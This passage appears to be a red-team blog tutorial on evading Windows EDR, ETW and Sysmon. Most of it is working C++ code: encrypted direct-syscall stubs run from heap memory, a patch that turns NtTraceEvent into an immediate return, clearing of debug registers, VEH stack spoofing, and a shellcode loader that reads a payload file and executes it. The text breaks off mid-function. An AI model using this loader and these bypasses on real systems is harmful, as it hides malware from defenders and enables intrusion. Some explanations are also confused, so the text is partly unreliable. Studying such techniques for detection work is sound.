top of page

Stealth Syscall Execution: Bypassing ETW, Sysmon, and EDR Detection

Stealth syscalls: Because life's too short to argue with an angry EDR!

Introduction


System calls (syscalls) serve as the bridge between user-mode processes and the Windows kernel, facilitating tasks such as memory management, file operations, and process creation. Security tools like Event Tracing for Windows (ETW), Sysmon, and debuggers such as x64dbg and WinDbg actively monitor these interactions to detect malicious or anomalous syscall execution.


Problem: How Security Tools Detect Syscalls


When a syscall is executed normally, security products such as EDR can:


  • Trace the call stack to see which function invoked it.

  • Monitor ETW events that log direct system call invocations.

  • Hook into syscalls to block or detect unauthorized behaviour.


Flowchart of Event Tracing for Windows. Shows ETW Providers to Sessions to ETW Consumers, producing analyzable data and alerts.
ETW Flow For Windows

Solution: Stealth Syscall Execution Techniques


To evade detection, attackers use stealth syscall execution techniques that:


  • Spoof the call stack to make syscalls appear legitimate.


The cyber espionage group APT41 has been observed utilizing call stack spoofing techniques to conceal their malicious activities. In a detailed analysis, a malware sample associated with APT41 demonstrated the construction of a fake call stack to mimic legitimate operations, thereby evading Endpoint Detection and Response (EDR) systems that rely on call stack analysis for detection.


  • Hook ETW and Sysmon APIs to prevent syscall logging.


Some malware variants disable ETW by patching functions like EtwEventWrite, effectively preventing the logging of events that could lead to their detection. This technique has been documented in various security analyses.


Adversaries have been known to hook Event Tracing for Windows (ETW) and Sysmon APIs to evade detection by preventing syscall logging. For example, some malware variants disable ETW by patching functions like EtwEventWrite to impede monitoring and logging mechanisms. This tactic falls under the MITRE ATT&CK technique T1562.001: Impair Defenses: Disable or Modify Tools, where adversaries disable security tools to avoid detection.



  • Hide execution from debuggers by bypassing the syscall table.


This analysis examines how malware like Lumma Stealer utilizes direct syscalls to perform malicious activities while evading detection by traditional security measures.


In this comprehensive deep dive, we’ll break down normal vs. stealthy syscall execution, analyze detection mechanisms, and implement advanced evasion techniques.


Understanding Call Stack Tracing and It's Importance


A call stack provides a detailed record of function calls leading up to a specific system call (syscall). In cybersecurity, analyzing call stacks is crucial for effective threat detection and forensic analysis. Security tools leverage call stack tracing to identify:


  • Identifying the calling function: Determining precisely which function triggered the syscall, such as a legitimate Windows API function from ntdll.dll, or potentially malicious code like shellcode.


  • Detecting suspicious origins: Assessing whether the syscall originated from an unusual or suspicious source, such as an injected DLL or an unknown memory region, which could indicate malicious activity.


  • Validating normal behavior: Comparing the observed call stack against expected patterns of typical Windows operations to pinpoint anomalies indicative of compromise or exploitation attempts.


How Security Tools Use Call Stack For Tracing


To understand how stealth syscall execution works, it’s important to understand how various security tools analyze syscall behavior for creating detections. Let’s break down how they use call stack tracing for detection. The typical points of interest include:


  • Sysmon & ETW monitor the stack trace of syscalls to identify suspicious execution patterns.


  • Debuggers like x64dbg show the call stack when stepping through syscalls.


  • EDR (Endpoint Detection and Response) solutions use AI-based models to detect anomalies in syscall execution.


Normal vs. Suspicious Stack Trace: Key Differences

Execution Type

Call Stack Behavior

Detection Risk

Legitimate

kernel32.dll → ntdll.dll → syscall

Low

Suspicious

unknown memory → ntdll.dll → syscall

Medium

Malicious

shellcode region → syscall

High

If a function is missing from the stack or originates from an unknown memory region, it raises red flags!


Normal Syscall Workflow (Easily Detectable)


Code: Standard Syscall Execution


#include <windows.h>
#include <iostream>

typedef NTSTATUS(NTAPI* pNtProtectVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    PULONG NumberOfBytesToProtect,
    ULONG NewAccessProtection,
    PULONG OldAccessProtection
    );

int main() {
    // Get handle to ntdll.dll
    HMODULE hNtdll = LoadLibraryA("ntdll.dll");
    if (!hNtdll) {
        std::cerr << "Failed to load ntdll.dll\n";
        return -1;
    }

    // Resolve NtProtectVirtualMemory dynamically
    pNtProtectVirtualMemory NtProtectVirtualMemory = (pNtProtectVirtualMemory)
        GetProcAddress(hNtdll, "NtProtectVirtualMemory");

    if (!NtProtectVirtualMemory) {
        std::cerr << "Failed to resolve NtProtectVirtualMemory\n";
        return -1;
    }

    PVOID memAddr = NULL;
    SIZE_T memSize = 0x1000;  // 4KB
    DWORD oldProtect;
    HANDLE hProcess = GetCurrentProcess();

    // Allocate memory region
    memAddr = VirtualAlloc(NULL, memSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!memAddr) {
        std::cerr << "Memory allocation failed\n";
        return -1;
    }

    std::cout << "Memory allocated at: " << memAddr << std::endl;

    // Write some dummy shellcode
    unsigned char shellcode[] = "\x90\x90\x90\x90";  // NOP sled
    memcpy(memAddr, shellcode, sizeof(shellcode));

    // Modify memory protection using direct system call
    ULONG bytesToProtect = (ULONG)memSize;
    NTSTATUS status = NtProtectVirtualMemory(
        hProcess, &memAddr, &bytesToProtect, PAGE_EXECUTE_READWRITE, &oldProtect);

    if (status == 0) {
        std::cout << "Memory protection removed (PAGE_EXECUTE_READWRITE)\n";
    }
    else {
        std::cerr << "Failed to change memory protection, NTSTATUS: " << status << "\n";
    }

    // Keep program alive for debugging
    std::cin.get();

    return 0;
}

Standard Syscall Execution
Standard Syscall Execution

Detection Results: How Security Tools Catch Normal Syscalls

Security Method

Can Detect?

Notes

ETW (Event Tracing for Windows)

Yes

Direct syscall logging

Sysmon (Event ID 10)

Yes

Raw syscall monitoring

x64dbg (Debugger)

Yes

Call stack trace clearly shows syscall made


Debugger interface showing a highlighted table with address info. Red text box states: "NTProtectVirtualMemory -> Detected!"
NTProtectVirtualMemory Being Detected

Advanced Stealth Code Execution


Key Enhancements In Our Stealth Code


  • Heap-based Encrypted Syscalls

  • Hardware Breakpoint Spoofing

  • Syscall Obfuscation with Runtime Encryption

  • True Stack Spoofing via VEH (Vectored Exception Handling)

  • Stealthy ETW (Event Tracing for Windows) Logging Disablement


These advanced techniques together will ensure minimal visibility and traceability from security products, making the executable created particularly challenging to analyze and detect!


Code: Advanced Stealth Execution


#include <windows.h>
#include <iostream>

#pragma comment(lib, "ntdll.lib")

typedef NTSTATUS(NTAPI* pNtProtectVirtualMemory)(
    HANDLE, PVOID*, SIZE_T*, ULONG, PULONG
);

// XOR encryption/decryption function
void XORCipher(BYTE* data, SIZE_T size, BYTE key) {
    for (SIZE_T i = 0; i < size; ++i) data[i] ^= key;
}

// Dynamically resolve syscall number
ULONG GetSyscallNumber(const char* funcName) {
    BYTE* addr = (BYTE*)GetProcAddress(GetModuleHandleA("ntdll.dll"), funcName);
    if (!addr) return 0;
    for (int i = 0; i < 20; i++)
        if (addr[i] == 0xB8 && addr[i + 5] == 0x0F && addr[i + 6] == 0x05)
            return *(ULONG*)(addr + i + 1);
    return 0;
}

// VEH Handler for stack spoofing
LONG WINAPI VehHandler(PEXCEPTION_POINTERS ex) {
    ex->ContextRecord->Rip = (DWORD64)ex->ExceptionRecord->ExceptionInformation[0];
    return EXCEPTION_CONTINUE_EXECUTION;
}

// Heap-based encrypted syscall execution
void HeapEncryptedSyscall() {
    std::cout << "[+] Executing encrypted syscall from heap memory...\n";

    ULONG syscallNumber = GetSyscallNumber("NtProtectVirtualMemory");
    if (!syscallNumber) return;

    BYTE stub[] = {
        0x4C, 0x8B, 0xD1,          // mov r10, rcx
        0xB8, 0,0,0,0,             // mov eax, syscallNum
        0x0F, 0x05,                // syscall
        0xC3                       // ret
    };
    *(ULONG*)(stub + 4) = syscallNumber;

    BYTE encryptionKey = 0x5A;
    XORCipher(stub, sizeof(stub), encryptionKey); // Encrypt

    void* execMem = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(stub));
    memcpy(execMem, stub, sizeof(stub));

    XORCipher((BYTE*)execMem, sizeof(stub), encryptionKey);  // Decrypt before execution

    PVOID baseAddr = NULL;
    SIZE_T regionSize = 4096;
    ULONG oldProt;

    std::cout << "[+] Executing syscall from heap-allocated memory\n";
    ((NTSTATUS(NTAPI*)(HANDLE, PVOID*, SIZE_T*, ULONG, PULONG))execMem)(
        GetCurrentProcess(), &baseAddr, &regionSize, PAGE_EXECUTE_READWRITE, &oldProt
    );

    HeapFree(GetProcessHeap(), 0, execMem);
}

// Hardware breakpoint spoofing
void HardwareBreakpointSpoofing() {
    CONTEXT ctx = {};
    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
    HANDLE hThread = GetCurrentThread();
    GetThreadContext(hThread, &ctx);
    ctx.Dr0 = ctx.Dr1 = ctx.Dr2 = ctx.Dr3 = ctx.Dr7 = 0;
    SetThreadContext(hThread, &ctx);
    std::cout << "[+] Cleared hardware breakpoints\n";
}

// Disable ETW logging (no VirtualProtect visible)
void DisableETWSysmonLogging() {
    std::cout << "[+] Disabling ETW logging stealthily\n";

    ULONG syscall = GetSyscallNumber("NtProtectVirtualMemory");
    BYTE syscallStub[] = {
        0x4C, 0x8B, 0xD1,
        0xB8, 0,0,0,0,
        0x0F, 0x05, 0xC3
    };
    *(ULONG*)(syscallStub + 4) = syscall;

    BYTE key = 0x7A;
    XORCipher(syscallStub, sizeof(syscallStub), key);

    void* execMem = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(syscallStub));
    memcpy(execMem, syscallStub, sizeof(syscallStub));

    XORCipher((BYTE*)execMem, sizeof(syscallStub), key); // Decrypt before exec

    void* ntTraceEvent = (void*)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTraceEvent");
    SIZE_T sz = 1;
    ULONG oldProt;

    ((NTSTATUS(NTAPI*)(HANDLE, PVOID*, SIZE_T*, ULONG, PULONG))execMem)(
        GetCurrentProcess(), &ntTraceEvent, &sz, PAGE_EXECUTE_READWRITE, &oldProt
    );

    *(BYTE*)ntTraceEvent = 0xC3;  // Patch with RET
    HeapFree(GetProcessHeap(), 0, execMem);
}

// True Stack Spoofing via VEH (Real stack unwinding mitigation)
void TrueStackSpoofer(void(*func)()) {
    std::cout << "[+] Executing true stack spoofing\n";

    AddVectoredExceptionHandler(1, VehHandler);

    CONTEXT ctx = {};
    RtlCaptureContext(&ctx);

    ctx.Rip = (DWORD64)func;

    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Sleep, NULL, CREATE_SUSPENDED, NULL);
    SetThreadContext(hThread, &ctx);
    ResumeThread(hThread);
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
}

// Execute operations in chunks to evade heuristics
void ExecuteInChunks() {
    std::cout << "[+] Executing in small chunks to bypass heuristics\n";
    volatile char data[100];
    for (int i = 0; i < 10; i++) {
        memset((void*)data, i, sizeof(data));
        Sleep(20);
    }
}

// Final orchestration function
void ExecuteHiddenSyscall() {
    std::cout << "[+] Executing hidden syscall sequence...\n";
    HardwareBreakpointSpoofing();
    HeapEncryptedSyscall();
}

int main() {
    std::cout << "[+] Advanced stealth execution started...\n";

    DisableETWSysmonLogging();
    ExecuteInChunks();

    std::cout << "[+] Setting VEH handler for true stack spoofing\n";
    AddVectoredExceptionHandler(1, VehHandler);

    TrueStackSpoofer(ExecuteHiddenSyscall);

    std::cout << "[+] All stealth operations executed successfully.\n";
    return 0;
}

Modified stealth code


Breaking Down the Bypass Techniques: Advanced Stealth Execution Techniques


In modern cybersecurity, stealth execution has become an essential technique for evading detection by advanced security measures such as Endpoint Detection and Response (EDR), Anti-Virus (AV) Engines, and dynamic analysis systems. Below is an in-depth analysis and explanation of each stealth technique implemented, each section is supplemented with relevant code snippets and comprehensive descriptions for readers' convenience.



1. Heap-based Encrypted Indirect Syscalls


Objective:


This approach aims to execute Windows system calls indirectly via dynamically allocated heap memory, avoiding direct calls to ntdll.dll. This method enhances stealth and evasion, reducing detection by security tools that monitor direct system library interactions. It emphasizes low-profile operations, complicating analysis and monitoring, thus challenging security solutions in identifying malicious behavior!


Key Benefits:


  • System calls are dynamically resolved at runtime, adding complexity and obscuring operations. This reduces detection risk and complicates forensic analysis.

  • RWX heap allocations obfuscate executable memory, confusing static analysis tools and hindering threat identification.

  • The method offers flexibility, adapting to runtime conditions and evolving threat landscapes, allowing dynamic responses to security challenges.

  • Using dynamically allocated heap memory can improve performance, optimizing memory usage and enhancing efficiency in high-performance applications.


Reference Code Snippet:


// Heap-based encrypted syscall execution
void HeapEncryptedSyscall() {
    ULONG syscallNumber = GetSyscallNumber("NtProtectVirtualMemory");

    BYTE stub[] = {
        0x4C, 0x8B, 0xD1,          // mov r10, rcx (standard syscall setup)
        0xB8, 0,0,0,0,             // mov eax, syscallNumber
        0x0F, 0x05,                // syscall
        0xC3                       // ret
    };
    *(ULONG*)(stub + 4) = syscallNumber;

    BYTE encryptionKey = 0x5A;
    XORCipher(stub, sizeof(stub), encryptionKey); // Encrypt stub

    void* execMem = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(stub));
    memcpy(execMem, stub, sizeof(stub));

    XORCipher((BYTE*)execMem, sizeof(stub), encryptionKey);  // Decrypt at runtime

    // Execute syscall from heap
    ((NTSTATUS(NTAPI*)(HANDLE, PVOID*, SIZE_T*, ULONG, PULONG))execMem)(
        GetCurrentProcess(), &baseAddr, &regionSize, PAGE_EXECUTE_READWRITE, &oldProt
    );

    HeapFree(GetProcessHeap(), 0, execMem);
}

Here, the following table summarizes the key steps in the code mentioned above:


Step Number

Action Taken

Reason

1

Resolve syscall dynamically at runtime.

Avoid static syscall detection.

2

Encrypt syscall stub using XOR cipher.

Prevent memory scanners detection.

3

Allocate executable memory on heap.

Avoid standard DLL execution traces.

4

Decrypt stub just before execution.

Runtime stealth execution.


2. Hardware Breakpoint Spoofing


Objective:


The primary aim of this method is to clear debug registers Dr0 through Dr7 to evade detection by hardware breakpoint-based debuggers. These registers are crucial for setting breakpoints at specific memory addresses. Clearing them disrupts a debugger's ability to track program execution, enhancing code stealth. This is vital for maintaining code confidentiality and integrity, especially in software protection and anti-reverse engineering.


Key Benefits:


  • Clearing debug registers helps avoid detection by advanced debuggers like x64dbg and WinDbg, which rely on breakpoints to analyze programs. This technique deters reverse engineering, tampering and complicates the debugging efforts.

  • Makes it harder for attackers to understand the program's workings, as they can't use hardware breakpoints for insights.


Reference Code Snippet:


// Hardware breakpoint spoofing
void HardwareBreakpointSpoofing() {
    CONTEXT ctx = {};
    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
    HANDLE hThread = GetCurrentThread();
    GetThreadContext(hThread, &ctx);
    ctx.Dr0 = ctx.Dr1 = ctx.Dr2 = ctx.Dr3 = ctx.Dr7 = 0;
    SetThreadContext(hThread, &ctx);
}

This method removes pre-set breakpoints, preventing debuggers from easily intercepting or triggering execution breakpoints. Debuggers are less effective without hardware-level breakpoints, forcing attackers to use more complex and less reliable methods. Additionally, clearing these registers protects against exploitation by making it harder for malware to manipulate program execution, enhancing software security. This action disrupts debugging tools and complicates analysis, contributing to a more secure software environment.


3. Syscall Obfuscation with Runtime Encryption


Objective:


This initiative aims to implement a robust encryption and obfuscation strategy for system calls (syscalls) within software applications, ensuring they are encrypted and decrypted dynamically at runtime. This creates a barrier against static and dynamic analysis tools used by security researchers and malware analysts, making the syscall sequences unreadable and indecipherable. It is crucial for protecting code and operational integrity by concealing software interactions with the operating system.


Key Benefits:


  • Encrypting syscalls renders static analysis tools like IDA Pro and Ghidra ineffective, as they rely on pattern recognition and predefined signatures. This disruption enhances the security posture by preventing analysts from understanding the software's functionality.

  • Memory scanners become less effective against encrypted syscalls, as they cannot detect known patterns. This reduces detection likelihood even in monitored environments, providing critical security for applications requiring stealth and confidentiality, especially with sensitive data or critical infrastructure.


Reference Code Snippet:


// XOR encryption/decryption function
void XORCipher(BYTE* data, SIZE_T size, BYTE key) {
    for (SIZE_T i = 0; i < size; ++i) data[i] ^= key;
}

How it Works:


  • Encrypt syscall stubs using XOR at compile-time or runtime.

  • Decrypt just before execution, ensuring only transient exposure in memory.


4. True Stack Spoofing via VEH


Objective:


The main goal here is to obscure the call stack using a Vectored Exception Handler (VEH) to mislead debugging and complicate stack analysis. This technique distorts the perceived execution flow, making it difficult to trace function calls. VEH intercepts exceptions to disguise the code's true nature, obfuscating logic and flow.


Key Benefits:


  • Prevents accurate call stack unwinding, leading to confusion and misinterpretation of the program's state, potentially overlooking critical issues or vulnerabilities.

  • Thwarts debugging by making the call stack appear normal, delaying the identification of bugs or flaws and protecting against reverse engineering and unauthorized code analysis.


Reference VEH Handler Code Snippet:


// VEH Handler for stack spoofing
LONG WINAPI VehHandler(PEXCEPTION_POINTERS ex) {
    ex->ContextRecord->Rip = (DWORD64)ex->ExceptionRecord->ExceptionInformation[0];
    return EXCEPTION_CONTINUE_EXECUTION;
}

void TrueStackSpoofer(void(*func)()) {
    AddVectoredExceptionHandler(1, VehHandler);

    CONTEXT ctx = {};
    RtlCaptureContext(&ctx);
    ctx.Rip = (DWORD64)func;

    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Sleep, NULL, CREATE_SUSPENDED, NULL);
    SetThreadContext(hThread, &ctx);
    ResumeThread(hThread);
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
}

The table below summarizes the key steps in the reference snippet mentioned above:


Step

Action

Reason

1

Add VEH to intercept exceptions.

Modify call stack at exceptions.

2

Set thread context to redirect execution.

Create a fake call stack scenario.


5. Stealthy ETW Logging Disablement


Objective:


The goal of this method is to silently patch the NtTraceEvent function to disable the Event Tracing for Windows (ETW). This method aims to manipulate logging discreetly, avoiding security alerts by understanding Windows' kernel and logging frameworks, thereby circumventing traditional detection methods.


Key Benefits:


  • This approach prevents system-wide logging of suspicious activities, evading detection by tools like Sysmon or EDR systems, which is critical for stealth operations.

  • It avoids detection by standard API monitoring, allowing for an undetected presence and reducing exposure to security audits or real-time monitoring.


ETW Patch Code:


// Disable ETW logging (no VirtualProtect visible)
void DisableETWSysmonLogging() {
    ULONG syscall = GetSyscallNumber("NtProtectVirtualMemory");
    BYTE syscallStub[] = {
        0x4C, 0x8B, 0xD1,
        0xB8, 0,0,0,0,
        0x0F, 0x05, 0xC3
    };
    *(ULONG*)(syscallStub + 4) = syscall;

    BYTE key = 0x7A;
    XORCipher(syscallStub, sizeof(syscallStub), key);

    void* execMem = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(syscallStub));
    memcpy(execMem, syscallStub, sizeof(syscallStub));

    XORCipher((BYTE*)execMem, sizeof(syscallStub), key);

    void* ntTraceEvent = (void*)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTraceEvent");
    SIZE_T sz = 1;
    ULONG oldProt;

    ((NTSTATUS(NTAPI*)(HANDLE, PVOID*, SIZE_T*, ULONG, PULONG))execMem)(
        GetCurrentProcess(), &ntTraceEvent, &sz, PAGE_EXECUTE_READWRITE, &oldProt
    );

    *(BYTE*)ntTraceEvent = 0xC3;  // Patch ETW to RET immediately

    HeapFree(GetProcessHeap(), 0, execMem);
}

Debugging software interface displaying thread IDs and memory addresses in columns. Includes system and user comments in a beige background.

Disassembly code in TitanEngine shows various CPU instructions and memory addresses. Syntax highlighted text with hex and ASCII details.

windows command prompt UI running the binary

Process Monitor UI showing executed filters


Final Thoughts On Stealth Approach


The aforementioned approach has dramatically increased stealthiness, combining multiple advanced evasion and obfuscation techniques. Each step individually adds complexity for defenders, while collectively they create a robust, highly evasive payload.


Leveraging such techniques requires a profound understanding of Windows internals and memory operations, and demonstrates why advanced attackers continually evolve their methods to bypass modern defenses.

This explanation aims to educate security professionals on cutting-edge stealth methods, equipping them with the knowledge to better detect and defend against advanced threats. Please use responsibly with appropriate permissions.



What's Next?


Deeper Dive into Advanced Shellcode Execution Techniques


At this point, we've successfully crafted a robust stealth shellcode executor. We’ve integrated advanced stealth methods such as encrypted syscalls, true stack spoofing, hardware breakpoint clearing, and stealthily disabling Event Tracing for Windows (ETW). However, understanding these technical techniques deeply is crucial for mastering the next Red Team Operation. Let's delve deeper into these essential concepts, their significance, and how they strengthen your red team engagements.



Explaining Key Concepts


Let's break down each advanced technique implemented in our shellcode injector. Understanding each concept is essential for effective red team exercises, evading modern Endpoint Detection and Response (EDR) tools, and remaining undetected in a security assessment scenario!


1. Direct Syscall Execution from Heap Memory


What Is Direct Syscall Execution?


Modern security products typically monitor and intercept standard Windows API calls. To evade detection, attackers can directly call Windows kernel functions (syscalls) instead of standard user-mode APIs. Here, we've executed encrypted syscall stubs directly from heap memory.


Why Is It Important in Red Teaming?


By directly performing syscalls, an attacker can effectively bypass user-mode hooks placed by EDRs, AV solutions, or any other Endpoint Protection Platform (EPP). This reduces the footprint of their operations and prevents easy detection.


Feature

Benefit

Syscall Execution

Avoids user-mode API hooks and monitoring

Heap Memory Execution

Evades signature-based detections & memory scans

XOR Encryption

Prevents static detection of syscall stubs in memory


Technical Deep-Dive: Our code dynamically resolves syscall numbers directly from ntdll.dll, encrypts syscall stubs using a basic XOR cipher, and decrypts it at runtime immediately before execution.


// XORCipher encryption function example
void XORCipher(BYTE* data, SIZE_T size, BYTE key) {
    for (SIZE_T i = 0; i < size; ++i)
        data[i] ^= key;
}

Syscall Execution (Heap-Based):


NTSTATUS HeapSyscall(const char* syscallName, HANDLE hProc, void** addr, SIZE_T* size, ULONG prot, ULONG* oldProt);

2. Disabling ETW Logging (Event Tracing for Windows)


What Is ETW Logging?


ETW is a powerful logging mechanism built into Windows OS. Security tools leverage ETW to log and track suspicious activity.


Importance for Red Teamers: Disabling ETW prevents defenders from detecting malicious actions. By patching the NtTraceEvent function, we stop ETW from effectively logging your actions.


Action

Effect in Red Team Operations

Disable ETW

Prevents event logging by security monitoring tools

Patch NtTraceEvent

Directly neutralizes ETW monitoring capabilities


Sample Code Implementation:


void DisableETW() {
    void* ntTraceEvent = (void*)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTraceEvent");
    SIZE_T sz = 1;
    ULONG oldProt;

    HeapSyscall("NtProtectVirtualMemory", GetCurrentProcess(), &ntTraceEvent, &sz, PAGE_EXECUTE_READWRITE, &oldProt);
    *(BYTE*)ntTraceEvent = 0xC3;  // Patch with RET instruction to disable ETW
}

3. Hardware Breakpoint Clearing


What Are Hardware Breakpoints?


Hardware breakpoints allow debuggers and EDRs to pause execution at specific memory locations. Clearing hardware breakpoints ensures no debugger silently intercepts or inspects your execution flow.


Technique

Security Implication

Clear Hardware Breakpoints

Ensures no debugger hooks into execution flow

Thread Context Modification

Erases debugger-set flags to prevent detection


Implementation Snippet:


void HardwareBreakpointSpoofing() {
    CONTEXT ctx{};
    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
    HANDLE hThread = GetCurrentThread();
    GetThreadContext(hThread, &ctx);
    ctx.Dr0 = ctx.Dr1 = ctx.Dr2 = ctx.Dr3 = ctx.Dr7 = 0; // clear breakpoints
    SetThreadContext(hThread, &ctx);
}

4. True Stack Spoofing via VEH (Vectored Exception Handler)


What Is True Stack Spoofing?


Stack spoofing involves obscuring your function call stack to prevent effective memory inspection and stack unwinding techniques by advanced defensive products.


Technique

Benefit in Offensive Operations

True Stack Spoofing

Obscures call stack, confusing memory inspections

Vectored Exception Handler

Redirects execution to arbitrary memory locations

Fake Return Address

Prevents crashes & proper stack unwinding


Technical Explainer: The function mentioned uses a Vectored Exception Handler to manipulate thread context dynamically. It redirects execution safely to the shellcode while spoofing the call stack, which helps bypass stack-based detection methods.


Code Example:


void TrueStackSpoofer(void(*targetFunc)(BYTE*, SIZE_T), BYTE* payload, SIZE_T size) {
    AddVectoredExceptionHandler(1, VehHandler);

    CONTEXT ctx{};
    RtlCaptureContext(&ctx);

    void* fakeReturn = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!fakeReturn) {
        std::cerr << "[-] VirtualAlloc failed for fake return address!\n";
        return;
    }

    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)targetFunc, payload, CREATE_SUSPENDED, NULL);
    if (!hThread) {
        std::cerr << "[-] Thread creation failed!\n";
        VirtualFree(fakeReturn, 0, MEM_RELEASE);
        return;
    }

    ctx.Rip = (DWORD64)targetFunc;
    ctx.Rcx = (DWORD64)payload;
    ctx.Rdx = (DWORD64)size;
    ctx.Rsp -= sizeof(void*);
    *(DWORD64*)(ctx.Rsp) = (DWORD64)fakeReturn;

    SetThreadContext(hThread, &ctx);
    ResumeThread(hThread);
    WaitForSingleObject(hThread, INFINITE);

    CloseHandle(hThread);
    VirtualFree(fakeReturn, 0, MEM_RELEASE);
}

Importance of Advanced Techniques in a Red Team Engagement


In modern red team exercises, defenders increasingly rely on sophisticated detection mechanisms like EDR or XDR. These stealthy techniques allow red team operators and penetration testers to simulate advanced persistent threats (APT) effectively, evade detection, and assess the true defensive capabilities of an organization’s security infrastructure.


Shellcode Executor Code: Bringing It All Together

#include <windows.h>
#include <iostream>
#include <fstream>

#pragma comment(lib, "ntdll.lib")

#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

#ifndef STATUS_UNSUCCESSFUL
#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)
#endif

typedef NTSTATUS(NTAPI* pNtProtectVirtualMemory)(
    HANDLE, PVOID*, SIZE_T*, ULONG, PULONG
);

// XOR Cipher Encryption/Decryption
void XORCipher(BYTE* data, SIZE_T size, BYTE key) {
    for (SIZE_T i = 0; i < size; ++i)
        data[i] ^= key;
}

// Retrieve syscall number from NTDLL functions
ULONG GetSyscallNumber(const char* funcName) {
    BYTE* addr = (BYTE*)GetProcAddress(GetModuleHandleA("ntdll.dll"), funcName);
    if (!addr) return 0;
    for (int i = 0; i < 32; i++)
        if (addr[i] == 0xB8 && addr[i + 5] == 0x0F && addr[i + 6] == 0x05)
            return *(ULONG*)(addr + i + 1);
    return 0;
}

// VEH Handler for Stack Spoofing
LONG WINAPI VehHandler(PEXCEPTION_POINTERS ex) {
    ex->ContextRecord->Rip = (DWORD64)ex->ExceptionRecord->ExceptionInformation[0];
    return EXCEPTION_CONTINUE_EXECUTION;
}

// Heap-based encrypted syscall execution
NTSTATUS HeapSyscall(const char* syscallName, HANDLE hProc, void** addr, SIZE_T* size, ULONG prot, ULONG* oldProt) {
    ULONG syscallNumber = GetSyscallNumber(syscallName);
    if (!syscallNumber) return STATUS_UNSUCCESSFUL;

    BYTE stub[] = {
        0x4C, 0x8B, 0xD1,             // mov r10, rcx
        0xB8, 0,0,0,0,                // mov eax, syscallNumber
        0x0F, 0x05,                   // syscall
        0xC3                          // ret
    };
    *(ULONG*)(stub + 4) = syscallNumber;

    BYTE key = 0x5A;
    XORCipher(stub, sizeof(stub), key); // Encrypt

    void* execMem = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(stub));
    memcpy(execMem, stub, sizeof(stub));
    XORCipher((BYTE*)execMem, sizeof(stub), key); // Decrypt for execution

    auto func = (pNtProtectVirtualMemory)execMem;
    NTSTATUS status = func(hProc, addr, size, prot, oldProt);

    HeapFree(GetProcessHeap(), 0, execMem);
    return status;
}

// Disable ETW Logging stealthily
void DisableETW() {
    void* ntTraceEvent = (void*)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTraceEvent");
    SIZE_T sz = 1;
    ULONG oldProt;

    HeapSyscall("NtProtectVirtualMemory", GetCurrentProcess(), &ntTraceEvent, &sz, PAGE_EXECUTE_READWRITE, &oldProt);
    *(BYTE*)ntTraceEvent = 0xC3;
}

// Hardware breakpoint clearing
void HardwareBreakpointSpoofing() {
    CONTEXT ctx{};
    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
    HANDLE hThread = GetCurrentThread();
    GetThreadContext(hThread, &ctx);
    ctx.Dr0 = ctx.Dr1 = ctx.Dr2 = ctx.Dr3 = ctx.Dr7 = 0;
    SetThreadContext(hThread, &ctx);
}

// Load Shellcode from file
BYTE* LoadShellcode(const char* path, SIZE_T& size) {
    std::ifstream file(path, std::ios::binary | std::ios::ate);
    if (!file) return nullptr;
    size = file.tellg();
    BYTE* buf = new BYTE[size];
    file.seekg(0, std::ios::beg);
    if (!file.read((char*)buf, size)) {
        delete[] buf;
        return nullptr;
    }
    return buf;
}

// Shellcode Execution Function
void ExecuteShellcode(BYTE* shellcode, SIZE_T size) {
    void* execMem = nullptr;
    SIZE_T sz = size;
    ULONG oldProt;

    HeapSyscall("NtAllocateVirtualMemory", GetCurrentProcess(), &execMem, &sz, MEM_COMMIT | MEM_RESERVE, &oldProt);
    memcpy(execMem, shellcode, size);
    HeapSyscall("NtProtectVirtualMemory", GetCurrentProcess(), &execMem, &sz, PAGE_EXECUTE_READ, &oldProt);

    HANDLE hThread = CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)execMem, nullptr, 0, nullptr);
    WaitForSingleObject(hThread, INFINITE);
}

// Stack Spoofing Orchestration Function

void TrueStackSpoofer(void(*targetFunc)(BYTE*, SIZE_T), BYTE* payload, SIZE_T size) {
    AddVectoredExceptionHandler(1, VehHandler);

    // Capture the current thread context
    CONTEXT ctx{};
    RtlCaptureContext(&ctx);

    // Allocate a fake return address to prevent crashes
    void* fakeReturn = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!fakeReturn) {
        std::cerr << "[-] VirtualAlloc for Fake Return Address failed!\n";
        return;
    }

    // Ensure the function runs properly in a new thread
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)targetFunc, payload, CREATE_SUSPENDED, NULL);
    if (!hThread) {
        std::cerr << "[-] Failed to create thread!\n";
        VirtualFree(fakeReturn, 0, MEM_RELEASE);
        return;
    }

    // Modify the stack to ensure proper return
    ctx.Rip = (DWORD64)targetFunc;
    ctx.Rcx = (DWORD64)payload; // First argument (shellcode)
    ctx.Rdx = (DWORD64)size;    // Second argument (shellcode size)
    ctx.Rsp -= sizeof(void*);
    *(DWORD64*)(ctx.Rsp) = (DWORD64)fakeReturn;  // Fake return address

